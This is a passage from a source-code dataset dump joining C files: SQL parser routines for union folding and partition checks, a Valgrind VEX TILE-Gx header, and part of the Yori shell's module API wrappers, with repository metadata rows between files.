query->data_type = parser_copy_tree_list (parser, att->data_type);
}
else
{
prev_att->next = att;
}
}
status = PT_UNION_INCOMP;
}
}
break;
case PT_UNION:
case PT_INTERSECTION:
case PT_DIFFERENCE:
status = pt_apply_union_select_list_collation (parser, query->info.query.q.union_.arg1, cinfo, num_cinfo);
if (status != PT_UNION_COMP && status != PT_UNION_INCOMP)
{
return status;
}
status2 = pt_apply_union_select_list_collation (parser, query->info.query.q.union_.arg2, cinfo, num_cinfo);
if (status2 != PT_UNION_COMP && status2 != PT_UNION_INCOMP)
{
return status;
}
if (status2 != PT_UNION_COMP)
{
status = status2;
}
if (status == PT_UNION_INCOMP)
{
if (query->data_type != NULL)
{
parser_free_tree (parser, query->data_type);
}
query->data_type = parser_copy_tree (parser, query->info.query.q.union_.arg1->data_type);
}
break;
default:
break;
}
return status;
}
/*
* pt_mark_union_leaf_nodes () - walking function for setting for each UNION
* DIFFERENCE/INTERSECTION query if it is a root
* of a leaf node.
* return:
* parser(in):
* node(in):
* arg(in):
* continue_walk(in/out):
*/
static PT_NODE *
pt_mark_union_leaf_nodes (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk)
{
if (PT_IS_UNION (node) || PT_IS_INTERSECTION (node) || PT_IS_DIFFERENCE (node))
{
PT_NODE *arg;
arg = node->info.query.q.union_.arg1;
if (PT_IS_UNION (arg) || PT_IS_INTERSECTION (arg) || PT_IS_DIFFERENCE (arg))
{
arg->info.query.q.union_.is_leaf_node = 1;
}
arg = node->info.query.q.union_.arg2;
if (PT_IS_UNION (arg) || PT_IS_INTERSECTION (arg) || PT_IS_DIFFERENCE (arg))
{
arg->info.query.q.union_.is_leaf_node = 1;
}
}
return node;
}
/*
* pt_check_where () - do semantic checks on a node's where clause
* return:
* parser(in): the parser context
* node(in): the node to check
*/
static PT_NODE *
pt_check_where (PARSER_CONTEXT * parser, PT_NODE * node)
{
PT_NODE *function = NULL;
/* check if exists aggregate/analytic functions in where clause */
function = pt_find_aggregate_analytic_in_where (parser, node);
if (function != NULL)
{
if (pt_is_aggregate_function (parser, function))
{
PT_ERRORm (parser, function, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INVALID_AGGREGATE);
}
else
{
PT_ERRORm (parser, function, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NESTED_ANALYTIC_FUNCTIONS);
}
}
return node;
}
/*
* pt_check_range_partition_strict_increasing () -
* return: NO_ERROR or error code
* parser(in): the parser context
* stmt(in): the top statement
* part(in): current partition
* part_next(in): the next partition
* column_dt(in): data type
*
*/
static int
pt_check_range_partition_strict_increasing (PARSER_CONTEXT * parser, PT_NODE * stmt, PT_NODE * part,
PT_NODE * part_next, PT_NODE * column_dt)
{
int error = NO_ERROR;
PT_NODE *pt_val1 = NULL, *pt_val2 = NULL;
DB_VALUE *db_val1 = NULL, *db_val2 = NULL;
DB_VALUE null_val;
DB_VALUE_COMPARE_RESULT compare_result;
assert (parser != NULL && stmt != NULL && part != NULL && part->node_type == PT_PARTS);
assert (part_next == NULL || part_next->node_type == PT_PARTS);
assert (column_dt == NULL || column_dt->node_type == PT_DATA_TYPE);
/* make sure value1 is the same type described by column_dt */
pt_val1 = part->info.parts.values;
assert (pt_val1 == NULL || column_dt == NULL
|| (pt_val1->type_enum == column_dt->type_enum
&& (!PT_IS_STRING_TYPE (pt_val1->type_enum)
|| (pt_val1->data_type == NULL
|| (pt_val1->data_type->info.data_type.collation_id ==
column_dt->info.data_type.collation_id)))));
db_make_null (&null_val);
/* next value */
if (part_next != NULL)
{
/* the first value */
db_val1 = pt_value_to_db (parser, pt_val1);
if (db_val1 == NULL)
{
if (pt_has_error (parser))
{
error = MSGCAT_SEMANTIC_PARTITION_RANGE_INVALID;
PT_ERRORmf (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, error, part->info.parts.name->info.name.original);
goto end;
}
db_val1 = &null_val;
}
pt_val2 = part_next->info.parts.values;
/* if column_dt is not null, do the cast if needed */
if (pt_val2 != NULL && column_dt != NULL)
{
error = pt_coerce_partition_value_with_data_type (parser, pt_val2, column_dt);
if (error != NO_ERROR)
{
error = MSGCAT_SEMANTIC_CONSTANT_TYPE_MISMATCH;
PT_ERRORmf (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, error,
part_next->info.parts.name->info.name.original);
goto end;
}
}
db_val2 = pt_value_to_db (parser, pt_val2);
if (db_val2 == NULL)
{
if (pt_has_error (parser))
{
error = MSGCAT_SEMANTIC_PARTITION_RANGE_INVALID;
PT_ERRORmf (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, error,
part_next->info.parts.name->info.name.original);
goto end;
}
db_val2 = &null_val;
}
/* check the strict increasing */
if (DB_IS_NULL (db_val1))
{
/* this is an error */
error = MSGCAT_SEMANTIC_PARTITION_RANGE_ERROR;
PT_ERRORmf (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, error, part);
goto end;
}
else if (!DB_IS_NULL (db_val2))
{
compare_result = (DB_VALUE_COMPARE_RESULT) db_value_compare (db_val1, db_val2);
if (compare_result != DB_LT)
{
/* this is an error */
error = MSGCAT_SEMANTIC_PARTITION_RANGE_ERROR;
PT_ERRORmf (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, error, part_next);
goto end;
}
}
}
end:
return error;
}
/*
* pt_coerce_partition_value_with_data_type () - do the cast
* return: NO_ERROR or error code
* parser(in):
* value(in):
* data_type(in):
*
*/
static int
pt_coerce_partition_value_with_data_type (PARSER_CONTEXT * parser, PT_NODE * value, PT_NODE * data_type)
{
int error = NO_ERROR;
assert (value != NULL && data_type != NULL && data_type->node_type == PT_DATA_TYPE);
if (value->type_enum != data_type->type_enum
|| (PT_IS_STRING_TYPE (value->type_enum) && value->data_type != NULL
&& value->data_type->info.data_type.collation_id != data_type->info.data_type.collation_id))
{
error = pt_coerce_value (parser, value, value, data_type->type_enum, data_type);
}
return error;
}
/*
* pt_try_remove_order_by - verify and remove order_by clause after it has been decided it is unnecessary
* return: void
* parser(in): Parser context
* query(in/out): Processed query
*/
void
pt_try_remove_order_by (PARSER_CONTEXT * parser, PT_NODE * query)
{
PT_NODE *col, *next;
assert (PT_IS_QUERY_NODE_TYPE (query->node_type));
if (query->info.query.order_by == NULL || query->info.query.orderby_for != NULL || query->info.query.limit != NULL)
{
/* order_by can not be removed when query has orderby_for or limit */
return;
}
/* if select list has orderby_num(), can not remove ORDER BY clause for example:
* (i, j) = (select i, orderby_num() from t order by i)
*/
for (col = pt_get_select_list (parser, query); col; col = col->next)
{
if (col->node_type == PT_EXPR && col->info.expr.op == PT_ORDERBY_NUM)
{
break; /* can not remove ORDER BY clause */
}
}
if (!col)
{
/* no column is ORDERBY_NUM, order_by can be removed */
parser_free_tree (parser, query->info.query.order_by);
query->info.query.order_by = NULL;
query->info.query.flag.order_siblings = 0;
for (col = pt_get_select_list (parser, query); col && col->next; col = next)
{
next = col->next;
if (next->flag.is_hidden_column)
{
parser_free_tree (parser, next);
col->next = NULL;
break;
}
}
}
}
/*
* pt_check_union_is_foldable - decide if union can be folded
*
* return : union foldability
* parser(in) : Parser context.
* union_node(in) : Union node.
*/
STATEMENT_SET_FOLD
pt_check_union_is_foldable (PARSER_CONTEXT * parser, PT_NODE * union_node)
{
PT_NODE *arg1, *arg2;
bool arg1_is_null, arg2_is_null;
STATEMENT_SET_FOLD fold_as;
assert (union_node->node_type == PT_UNION || union_node->node_type == PT_INTERSECTION
|| union_node->node_type == PT_DIFFERENCE || union_node->node_type == PT_CTE);
if (union_node->node_type == PT_CTE)
{
/* A CTE is a union between the non_recursive and recursive parts */
return STATEMENT_SET_FOLD_NOTHING;
}
arg1 = union_node->info.query.q.union_.arg1;
arg2 = union_node->info.query.q.union_.arg2;
arg1_is_null = pt_false_where (parser, arg1);
arg2_is_null = pt_false_where (parser, arg2);
if (!arg1_is_null && !arg2_is_null)
{
/* nothing to fold at this moment. */
fold_as = STATEMENT_SET_FOLD_NOTHING;
}
else if (arg1_is_null && arg2_is_null)
{
/* fold the entire node as null */
fold_as = STATEMENT_SET_FOLD_AS_NULL;
}
else if (arg1_is_null && !arg2_is_null)
{
if (union_node->node_type == PT_UNION)
{
fold_as = STATEMENT_SET_FOLD_AS_ARG2;
}
else
{
fold_as = STATEMENT_SET_FOLD_AS_NULL;
}
}
else
{
assert (!arg1_is_null && arg2_is_null);
if (union_node->node_type == PT_UNION || union_node->node_type == PT_DIFFERENCE)
{
fold_as = STATEMENT_SET_FOLD_AS_ARG1;
}
else
{
assert (union_node->node_type == PT_INTERSECTION);
fold_as = STATEMENT_SET_FOLD_AS_NULL;
}
}
/* check if folding would require merging WITH clauses; in this case we give up folding */
if (fold_as == STATEMENT_SET_FOLD_AS_ARG1 || fold_as == STATEMENT_SET_FOLD_AS_ARG2)
{
PT_NODE *active = (fold_as == STATEMENT_SET_FOLD_AS_ARG1 ? arg1 : arg2);
if (PT_IS_QUERY_NODE_TYPE (active->node_type) && active->info.query.with != NULL
&& union_node->info.query.with != NULL)
{
fold_as = STATEMENT_SET_FOLD_NOTHING;
}
}
return fold_as;
}
/*
* pt_fold_union - fold union node following indicated method
*
* return : union node folded
* parser (in) : Parser context.
* union_node (in) : Union node.
* fold_as (in) : indicated folding method
*/
PT_NODE *
pt_fold_union (PARSER_CONTEXT * parser, PT_NODE * union_node, STATEMENT_SET_FOLD fold_as)
{
PT_NODE *new_node, *next;
int line, column;
const char *alias_print;
assert (union_node->node_type == PT_UNION || union_node->node_type == PT_INTERSECTION
|| union_node->node_type == PT_DIFFERENCE);
line = union_node->line_number;
column = union_node->column_number;
alias_print = union_node->alias_print;
next = union_node->next;
union_node->next = NULL;
if (fold_as == STATEMENT_SET_FOLD_AS_NULL)
{
/* fold the statement set as null, we don't need to fold orderby clause because we return null. */
parser_free_tree (parser, union_node);
new_node = parser_new_node (parser, PT_VALUE);
new_node->type_enum = PT_TYPE_NULL;
}
else if (fold_as == STATEMENT_SET_FOLD_AS_ARG1 || fold_as == STATEMENT_SET_FOLD_AS_ARG2)
{
PT_NODE *active;
PT_NODE *union_orderby, *union_orderby_for, *union_limit, *union_with_clause;
unsigned int union_rewrite_limit;
if (fold_as == STATEMENT_SET_FOLD_AS_ARG1)
{
pt_move_node (active, union_node->info.query.q.union_.arg1);
}
else
{
pt_move_node (active, union_node->info.query.q.union_.arg2);
}
/* to save union's orderby or limit clause to arg1 or arg2 */
pt_move_node (union_orderby, union_node->info.query.order_by);
pt_move_node (union_orderby_for, union_node->info.query.orderby_for);
pt_move_node (union_limit, union_node->info.query.limit);
union_rewrite_limit = union_node->info.query.flag.rewrite_limit;
pt_move_node (union_with_clause, union_node->info.query.with);
/* When active node has a limit or orderby_for clause and union node has a limit or ORDERBY clause, need a
* derived table to keep both conflicting clauses. When a subquery has orderby clause without
* limit/orderby_for, it may be ignored for meaningless cases. */
if ((active->info.query.limit || active->info.query.orderby_for) && (union_limit || union_orderby))
{
PT_NODE *derived;
derived = mq_rewrite_query_as_derived (parser, active);
if (derived == NULL)
{
assert (pt_has_error (parser));
return NULL;
}
new_node = derived;
}
else
{
/* just use active node */
new_node = active;
}
/* free union node */
parser_free_tree (parser, union_node);
/* to fold the query with remaining parts */
if (union_orderby != NULL)
{
new_node->info.query.order_by = union_orderby;
new_node->info.query.orderby_for = union_orderby_for;
}
if (union_limit != NULL)
{
new_node->info.query.limit = union_limit;
new_node->info.query.flag.rewrite_limit = union_rewrite_limit;
}
if (union_with_clause)
{
assert (new_node->info.query.with == NULL);
new_node->info.query.with = union_with_clause;
}
/* check the union's orderby or limit clause if present */
pt_check_order_by (parser, new_node);
}
else
{
assert (fold_as == STATEMENT_SET_FOLD_NOTHING);
/* do nothing */
new_node = union_node;
}
new_node->line_number = line;
new_node->column_number = column;
new_node->alias_print = alias_print;
new_node->next = next;
return new_node;
}
|
e1454aec03a2ee2a0f10489f1fb8a464b653facc
|
58a480bb05e7ae950e78e30048e4c7ff0f557751
|
/kam1n0/kam1n0-symbolic/jnit/vex-master/priv/guest_tilegx_defs.h
|
9c71077076c9824798ec133a9799dff048416b72
|
[
"GPL-2.0-only",
"LicenseRef-scancode-unknown-license-reference",
"GPL-2.0-or-later",
"Apache-2.0"
] |
permissive
|
McGill-DMaS/Kam1n0-Community
|
fdd2400a233f777ce0e97c64d5fba9054136afe6
|
1c3c309acc8f5e50c6617f858aa3b5b84c121b26
|
refs/heads/master2.x
| 2023-09-04T05:44:26.477534
| 2023-02-27T21:00:45
| 2023-02-27T21:00:45
| 42,168,266
| 366
| 90
|
Apache-2.0
| 2023-02-27T21:01:18
| 2015-09-09T09:11:13
|
C
|
UTF-8
|
C
| false
| false
| 5,050
|
h
|
guest_tilegx_defs.h
|
/*---------------------------------------------------------------*/
/*--- begin guest_tilegx_defs.h ---*/
/*---------------------------------------------------------------*/
/*
This file is part of Valgrind, a dynamic binary instrumentation
framework.
Copyright (C) 2010-2013 Tilera Corp.
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License as
published by the Free Software Foundation; either version 2 of the
License, or (at your option) any later version.
This program is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
02111-1307, USA.
The GNU General Public License is contained in the file COPYING.
*/
/* Contributed by Zhi-Gang Liu <zliu at tilera dot com> */
#ifndef __VEX_GUEST_TILEGX_DEFS_H
#define __VEX_GUEST_TILEGX_DEFS_H
#ifdef __tilegx__
#include "tilegx_disasm.h"
#endif
/*---------------------------------------------------------*/
/*--- tilegx to IR conversion ---*/
/*---------------------------------------------------------*/
/* Convert one TILEGX insn to IR. See the type DisOneInstrFn in
bb_to_IR.h. */
extern DisResult disInstr_TILEGX ( IRSB* irbb,
Bool (*resteerOkFn) ( void *, Addr ),
Bool resteerCisOk,
void* callback_opaque,
const UChar* guest_code,
Long delta,
Addr guest_IP,
VexArch guest_arch,
const VexArchInfo* archinfo,
const VexAbiInfo* abiinfo,
VexEndness host_endness_IN,
Bool sigill_diag_IN );
/* Used by the optimiser to specialise calls to helpers. */
extern IRExpr *guest_tilegx_spechelper ( const HChar * function_name,
IRExpr ** args,
IRStmt ** precedingStmts,
Int n_precedingStmts );
/* Describes to the optimser which part of the guest state require
precise memory exceptions. This is logically part of the guest
state description. */
extern Bool guest_tilegx_state_requires_precise_mem_exns (
Int, Int, VexRegisterUpdates );
extern VexGuestLayout tilegxGuest_layout;
/*---------------------------------------------------------*/
/*--- tilegx guest helpers ---*/
/*---------------------------------------------------------*/
extern ULong tilegx_dirtyhelper_gen ( ULong opc,
ULong rd0,
ULong rd1,
ULong rd2,
ULong rd3 );
/*---------------------------------------------------------*/
/*--- Condition code stuff ---*/
/*---------------------------------------------------------*/
/* Defines conditions which we can ask for TILEGX */
typedef enum {
TILEGXCondEQ = 0, /* equal : Z=1 */
TILEGXCondNE = 1, /* not equal : Z=0 */
TILEGXCondHS = 2, /* >=u (higher or same) : C=1 */
TILEGXCondLO = 3, /* <u (lower) : C=0 */
TILEGXCondMI = 4, /* minus (negative) : N=1 */
TILEGXCondPL = 5, /* plus (zero or +ve) : N=0 */
TILEGXCondVS = 6, /* overflow : V=1 */
TILEGXCondVC = 7, /* no overflow : V=0 */
TILEGXCondHI = 8, /* >u (higher) : C=1 && Z=0 */
TILEGXCondLS = 9, /* <=u (lower or same) : C=0 || Z=1 */
TILEGXCondGE = 10, /* >=s (signed greater or equal) : N=V */
TILEGXCondLT = 11, /* <s (signed less than) : N!=V */
TILEGXCondGT = 12, /* >s (signed greater) : Z=0 && N=V */
TILEGXCondLE = 13, /* <=s (signed less or equal) : Z=1 || N!=V */
TILEGXCondAL = 14, /* always (unconditional) : 1 */
TILEGXCondNV = 15 /* never (unconditional): : 0 */
} TILEGXCondcode;
#endif /* __VEX_GUEST_TILEGX_DEFS_H */
/*---------------------------------------------------------------*/
/*--- end guest_tilegx_defs.h ---*/
/*---------------------------------------------------------------*/
|
8a9512cad7bd180dc2d19ea64289d9ccd52501ba
|
b01b4365ab6c9afeb6664563dd314df4f269014f
|
/lib/call.c
|
44833b3e8c701b6f2416bfcfc40b88e905262c39
|
[
"MIT"
] |
permissive
|
malxau/yori
|
6208011ca60485cfbf141c7639e9f941a160e002
|
027f9b42c08cc5fcc682ecb7fb67e6de5363b8de
|
refs/heads/master
| 2023-09-01T13:11:19.083028
| 2023-08-28T00:00:02
| 2023-08-28T00:00:02
| 127,679,677
| 1,234
| 31
|
MIT
| 2023-04-23T04:54:56
| 2018-04-01T23:29:17
|
C
|
UTF-8
|
C
| false
| false
| 41,890
|
c
|
call.c
|
/**
* @file lib/call.c
*
* Yori call from modules into external API. Functions in this file can only
* be called from code running within the Yori process.
*
* Copyright (c) 2017-2021 Malcolm J. Smith
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
#include "yoripch.h"
#include "yorilib.h"
/**
Prototype for the @ref YoriApiAddAlias function.
*/
typedef BOOL YORI_API_ADD_ALIAS(PYORI_STRING, PYORI_STRING);
/**
Prototype for a pointer to the @ref YoriApiAddAlias function.
*/
typedef YORI_API_ADD_ALIAS *PYORI_API_ADD_ALIAS;
/**
Pointer to the @ref YoriApiAddAlias function.
*/
PYORI_API_ADD_ALIAS pYoriApiAddAlias;
/**
Add a new, or replace an existing, shell alias.
@param Alias The alias to add or update.
@param Value The value to assign to the alias.
@return TRUE if the alias was successfully updated, FALSE if it was not.
*/
__success(return)
BOOL
YoriCallAddAlias(
__in PYORI_STRING Alias,
__in PYORI_STRING Value
)
{
if (pYoriApiAddAlias == NULL) {
HMODULE hYori;
hYori = GetModuleHandle(NULL);
__analysis_assume(hYori != NULL);
pYoriApiAddAlias = (PYORI_API_ADD_ALIAS)GetProcAddress(hYori, "YoriApiAddAlias");
if (pYoriApiAddAlias == NULL) {
return FALSE;
}
}
return pYoriApiAddAlias(Alias, Value);
}
/**
Prototype for the @ref YoriApiAddHistoryString function.
*/
typedef BOOL YORI_API_ADD_HISTORY_STRING(PYORI_STRING);
/**
Prototype for a pointer to the @ref YoriApiAddHistoryString function.
*/
typedef YORI_API_ADD_HISTORY_STRING *PYORI_API_ADD_HISTORY_STRING;
/**
Pointer to the @ref YoriApiAddHistoryString function.
*/
PYORI_API_ADD_HISTORY_STRING pYoriApiAddHistoryString;
/**
Add a new string to command history.
@return TRUE if the string was successfully added, FALSE if not.
*/
__success(return)
BOOL
YoriCallAddHistoryString(
__in PYORI_STRING NewCmd
)
{
if (pYoriApiAddHistoryString == NULL) {
HMODULE hYori;
hYori = GetModuleHandle(NULL);
__analysis_assume(hYori != NULL);
pYoriApiAddHistoryString = (PYORI_API_ADD_HISTORY_STRING)GetProcAddress(hYori, "YoriApiAddHistoryString");
if (pYoriApiAddHistoryString == NULL) {
return FALSE;
}
}
return pYoriApiAddHistoryString(NewCmd);
}
/**
Prototype for the @ref YoriApiAddSystemAlias function.
*/
typedef BOOL YORI_API_ADD_SYSTEM_ALIAS(PYORI_STRING, PYORI_STRING);
/**
Prototype for a pointer to the @ref YoriApiAddSystemAlias function.
*/
typedef YORI_API_ADD_SYSTEM_ALIAS *PYORI_API_ADD_SYSTEM_ALIAS;
/**
Pointer to the @ref YoriApiAddSystemAlias function.
*/
PYORI_API_ADD_ALIAS pYoriApiAddSystemAlias;
/**
Add a new, or replace an existing, shell alias.
@param Alias The alias to add or update.
@param Value The value to assign to the alias.
@return TRUE if the alias was successfully updated, FALSE if it was not.
*/
__success(return)
BOOL
YoriCallAddSystemAlias(
__in PYORI_STRING Alias,
__in PYORI_STRING Value
)
{
if (pYoriApiAddSystemAlias == NULL) {
HMODULE hYori;
hYori = GetModuleHandle(NULL);
__analysis_assume(hYori != NULL);
pYoriApiAddSystemAlias = (PYORI_API_ADD_SYSTEM_ALIAS)GetProcAddress(hYori, "YoriApiAddSystemAlias");
if (pYoriApiAddSystemAlias == NULL) {
return FALSE;
}
}
return pYoriApiAddSystemAlias(Alias, Value);
}
/**
Prototype for the @ref YoriApiBuiltinRegister function.
*/
typedef BOOL YORI_API_BUILTIN_REGISTER(PYORI_STRING, PYORI_CMD_BUILTIN);
/**
Prototype for a pointer to the @ref YoriApiBuiltinRegister function.
*/
typedef YORI_API_BUILTIN_REGISTER *PYORI_API_BUILTIN_REGISTER;
/**
Pointer to the @ref YoriApiBuiltinRegister function.
*/
PYORI_API_BUILTIN_REGISTER pYoriApiBuiltinRegister;
/**
Add a new builtin callback.
@param BuiltinCmd The builtin callback command to register.
@param CallbackFn The callback function to invoke.
@return TRUE if the callback was successfully updated, FALSE if it was not.
*/
__success(return)
BOOL
YoriCallBuiltinRegister(
__in PYORI_STRING BuiltinCmd,
__in PYORI_CMD_BUILTIN CallbackFn
)
{
if (pYoriApiBuiltinRegister == NULL) {
HMODULE hYori;
hYori = GetModuleHandle(NULL);
__analysis_assume(hYori != NULL);
pYoriApiBuiltinRegister = (PYORI_API_BUILTIN_REGISTER)GetProcAddress(hYori, "YoriApiBuiltinRegister");
if (pYoriApiBuiltinRegister == NULL) {
return FALSE;
}
}
return pYoriApiBuiltinRegister(BuiltinCmd, CallbackFn);
}
/**
Prototype for the @ref YoriApiBuiltinUnregister function.
*/
typedef BOOL YORI_API_BUILTIN_UNREGISTER(PYORI_STRING, PYORI_CMD_BUILTIN);
/**
Prototype for a pointer to the @ref YoriApiBuiltinUnregister function.
*/
typedef YORI_API_BUILTIN_UNREGISTER *PYORI_API_BUILTIN_UNREGISTER;
/**
Pointer to the @ref YoriApiBuiltinUnregister function.
*/
PYORI_API_BUILTIN_UNREGISTER pYoriApiBuiltinUnregister;
/**
Add a new builtin callback.
@param BuiltinCmd The builtin callback command to register.
@param CallbackFn The callback function to invoke.
@return TRUE if the callback was successfully updated, FALSE if it was not.
*/
__success(return)
BOOL
YoriCallBuiltinUnregister(
__in PYORI_STRING BuiltinCmd,
__in PYORI_CMD_BUILTIN CallbackFn
)
{
if (pYoriApiBuiltinUnregister == NULL) {
HMODULE hYori;
hYori = GetModuleHandle(NULL);
__analysis_assume(hYori != NULL);
pYoriApiBuiltinUnregister = (PYORI_API_BUILTIN_UNREGISTER)GetProcAddress(hYori, "YoriApiBuiltinUnregister");
if (pYoriApiBuiltinUnregister == NULL) {
return FALSE;
}
}
return pYoriApiBuiltinUnregister(BuiltinCmd, CallbackFn);
}
/**
Prototype for the @ref YoriApiClearHistoryStrings function.
*/
typedef BOOL YORI_API_CLEAR_HISTORY_STRINGS(VOID);
/**
Prototype for a pointer to the @ref YoriApiClearHistoryStrings function.
*/
typedef YORI_API_CLEAR_HISTORY_STRINGS *PYORI_API_CLEAR_HISTORY_STRINGS;
/**
Pointer to the @ref YoriApiClearHistoryStrings function.
*/
PYORI_API_CLEAR_HISTORY_STRINGS pYoriApiClearHistoryStrings;
/**
Clear existing history strings.
@return TRUE if the history strings were successfully deleted, FALSE if not.
*/
__success(return)
BOOL
YoriCallClearHistoryStrings(VOID)
{
if (pYoriApiClearHistoryStrings == NULL) {
HMODULE hYori;
hYori = GetModuleHandle(NULL);
__analysis_assume(hYori != NULL);
pYoriApiClearHistoryStrings = (PYORI_API_CLEAR_HISTORY_STRINGS)GetProcAddress(hYori, "YoriApiClearHistoryStrings");
if (pYoriApiClearHistoryStrings == NULL) {
return FALSE;
}
}
return pYoriApiClearHistoryStrings();
}
/**
Prototype for the @ref YoriApiDecrementPromptRecursionDepth function.
*/
typedef BOOL YORI_API_DECREMENT_PROMPT_RECURSION_DEPTH(VOID);
/**
Prototype for a pointer to the @ref YoriApiDecrementPromptRecursionDepth function.
*/
typedef YORI_API_DECREMENT_PROMPT_RECURSION_DEPTH *PYORI_API_DECREMENT_PROMPT_RECURSION_DEPTH;
/**
Pointer to the @ref YoriApiDecrementPromptRecursionDepth function.
*/
PYORI_API_DECREMENT_PROMPT_RECURSION_DEPTH pYoriApiDecrementPromptRecursionDepth;
/**
Decrements the recursion depth that the prompt should display when the $+$
token is used.
@return TRUE to indicate success, FALSE to indicate failure.
*/
__success(return)
BOOL
YoriCallDecrementPromptRecursionDepth(VOID)
{
if (pYoriApiDecrementPromptRecursionDepth == NULL) {
HMODULE hYori;
hYori = GetModuleHandle(NULL);
__analysis_assume(hYori != NULL);
pYoriApiDecrementPromptRecursionDepth = (PYORI_API_DECREMENT_PROMPT_RECURSION_DEPTH)GetProcAddress(hYori, "YoriApiDecrementPromptRecursionDepth");
if (pYoriApiDecrementPromptRecursionDepth == NULL) {
return FALSE;
}
}
return pYoriApiDecrementPromptRecursionDepth();
}
/**
Prototype for the @ref YoriApiDeleteAlias function.
*/
typedef BOOL YORI_API_DELETE_ALIAS(PYORI_STRING);
/**
Prototype for a pointer to the @ref YoriApiDeleteAlias function.
*/
typedef YORI_API_DELETE_ALIAS *PYORI_API_DELETE_ALIAS;
/**
Pointer to the @ref YoriApiDeleteAlias function.
*/
PYORI_API_DELETE_ALIAS pYoriApiDeleteAlias;
/**
Delete an existing shell alias.
@param Alias The alias to delete.
@return TRUE if the alias was successfully deleted, FALSE if it was not
found.
*/
__success(return)
BOOL
YoriCallDeleteAlias(
__in PYORI_STRING Alias
)
{
if (pYoriApiDeleteAlias == NULL) {
HMODULE hYori;
hYori = GetModuleHandle(NULL);
__analysis_assume(hYori != NULL);
pYoriApiDeleteAlias = (PYORI_API_DELETE_ALIAS)GetProcAddress(hYori, "YoriApiDeleteAlias");
if (pYoriApiDeleteAlias == NULL) {
return FALSE;
}
}
return pYoriApiDeleteAlias(Alias);
}
/**
Prototype for the @ref YoriApiExecuteBuiltin function.
*/
typedef BOOL YORI_API_EXECUTE_BUILTIN(PYORI_STRING);
/**
Prototype for a pointer to the @ref YoriApiExecuteBuiltin function.
*/
typedef YORI_API_EXECUTE_BUILTIN *PYORI_API_EXECUTE_BUILTIN;
/**
Pointer to the @ref YoriApiExecuteBuiltin function.
*/
PYORI_API_EXECUTE_BUILTIN pYoriApiExecuteBuiltin;
/**
Parse and execute a string as a built in command.
@param Expression The string to execute.
@return TRUE to indicate it was successfully executed, FALSE otherwise.
*/
__success(return)
BOOL
YoriCallExecuteBuiltin(
__in PYORI_STRING Expression
)
{
if (pYoriApiExecuteBuiltin == NULL) {
HMODULE hYori;
hYori = GetModuleHandle(NULL);
__analysis_assume(hYori != NULL);
pYoriApiExecuteBuiltin = (PYORI_API_EXECUTE_BUILTIN)GetProcAddress(hYori, "YoriApiExecuteBuiltin");
if (pYoriApiExecuteBuiltin == NULL) {
return FALSE;
}
}
return pYoriApiExecuteBuiltin(Expression);
}
/**
Prototype for the @ref YoriApiExecuteExpression function.
*/
typedef BOOL YORI_API_EXECUTE_EXPRESSION(PYORI_STRING);
/**
Prototype for a pointer to the @ref YoriApiExecuteExpression function.
*/
typedef YORI_API_EXECUTE_EXPRESSION *PYORI_API_EXECUTE_EXPRESSION;
/**
Pointer to the @ref YoriApiExecuteExpression function.
*/
PYORI_API_EXECUTE_EXPRESSION pYoriApiExecuteExpression;
/**
Parse and execute a command string. This will internally perform parsing
and redirection, as well as execute multiple subprocesses as needed.
@param Expression The string to execute.
@return TRUE to indicate it was successfully executed, FALSE otherwise.
*/
__success(return)
BOOL
YoriCallExecuteExpression(
__in PYORI_STRING Expression
)
{
if (pYoriApiExecuteExpression == NULL) {
HMODULE hYori;
hYori = GetModuleHandle(NULL);
__analysis_assume(hYori != NULL);
pYoriApiExecuteExpression = (PYORI_API_EXECUTE_EXPRESSION)GetProcAddress(hYori, "YoriApiExecuteExpression");
if (pYoriApiExecuteExpression == NULL) {
return FALSE;
}
}
return pYoriApiExecuteExpression(Expression);
}
/**
Prototype for the @ref YoriApiExpandAlias function.
*/
typedef BOOL YORI_API_EXPAND_ALIAS(PYORI_STRING, PYORI_STRING);
/**
Prototype for a pointer to the @ref YoriApiExpandAlias function.
*/
typedef YORI_API_EXPAND_ALIAS *PYORI_API_EXPAND_ALIAS;
/**
Pointer to the @ref YoriApiExpandAlias function.
*/
PYORI_API_EXPAND_ALIAS pYoriApiExpandAlias;
/**
Expand a command that contains an alias into a new string with the alias
expanded.
@param CommandString The string to look for aliases to expand.
@param ExpandedString The resulting string after alias expansion.
@return TRUE to indicate expansion was performed, FALSE if it was not.
*/
__success(return)
BOOL
YoriCallExpandAlias(
__in PYORI_STRING CommandString,
__in PYORI_STRING ExpandedString
)
{
if (pYoriApiExpandAlias == NULL) {
HMODULE hYori;
hYori = GetModuleHandle(NULL);
__analysis_assume(hYori != NULL);
pYoriApiExpandAlias = (PYORI_API_EXPAND_ALIAS)GetProcAddress(hYori, "YoriApiExpandAlias");
if (pYoriApiExpandAlias == NULL) {
